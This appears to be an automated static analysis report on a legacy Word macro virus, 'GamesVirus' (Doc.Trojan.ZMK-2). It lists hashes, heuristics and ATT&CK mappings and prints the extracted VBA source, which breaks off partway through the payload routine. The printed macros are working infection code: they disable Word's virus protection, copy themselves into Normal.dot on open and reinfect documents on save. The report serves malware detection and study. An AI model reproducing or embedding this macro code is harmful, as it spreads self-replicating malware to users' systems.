Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96bd98d4ce1977bf…

MALICIOUS

Office (OLE)

278.0 KB Created: 1998-04-07 09:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 44af8f068e24902646108349cb1c960c SHA-1: ac57064511b182701a13655222e3ba10ef606813 SHA-256: 96bd98d4ce1977bf5efda9d981661456f87fd7c18da74db5ef0b04fa0700d171
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This document contains legacy WordBasic macro markers and a critical ClamAV detection for 'Doc.Trojan.ZMK-2'. The AutoOpen macro attempts to copy itself and associated forms to the Normal template, indicating an intent to achieve persistence and potentially spread. The macro also contains strings related to 'GamesVirus' and 'ZeMacroKiller98', suggesting a self-named malware.

Heuristics 4

  • ClamAV: Doc.Trojan.ZMK-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.ZMK-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40338 bytes
SHA-256: 2db9fdfac5f78db500791fff93de30a23cddce8a8ed42d14b6a9e27baf759b74
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "GamesVirus"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAE
Dim MyDate, MyTime
MyDate = Date
MyTime = Time
D$ = Mid(MyDate, 1, 2)
Ts$ = Mid(MyTime, 7, 8)
Tm$ = Mid(MyTime, 4, 2)
If D$ = "01" Then
Call PayLoad
End If
If Ts$ = "01" Then
    With Dialogs(wdDialogFileSummaryInfo)
        .Subject = "GamesVirus est avec vous, HAHAHAHAHA!!"
        .Execute
    End With
End If
If Tm$ = "01" Then
    StatusBar = "Remerciement à GamesVirus et à son auteur: ZeMacroKiller98"
End If
ErrorAE:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
IMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To IMacroCount
    If WordBasic.[MacroName$](i, 0) = "GamesVirus" Then
        bInstalled = -1
    End If
Next i
If Not bInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="GamesVirus", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm2", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm3", Object:=wdOrganizerObjectProjectItems
    MsgBox "GamesVirus dans NORMAL.DOT", vbCritical, "ZeMacroKiller98"
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="GamesVirus", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm2", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm3", Object:=wdOrganizerObjectProjectItems
End If

ErrorAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
        If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
            ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        End If
     Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="GamesVirus", Object:=wdOrganizerObjectProjectItems
     Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
     Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm2", Object:=wdOrganizerObjectProjectItems
     Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm3", Object:=wdOrganizerObjectProjectItems
     ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    MsgBox "Fonction Sub inconnu", vbCritical, "Microsoft Word"
ErrorFT:
End Sub
Private Sub PayLoad()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo 
... (truncated)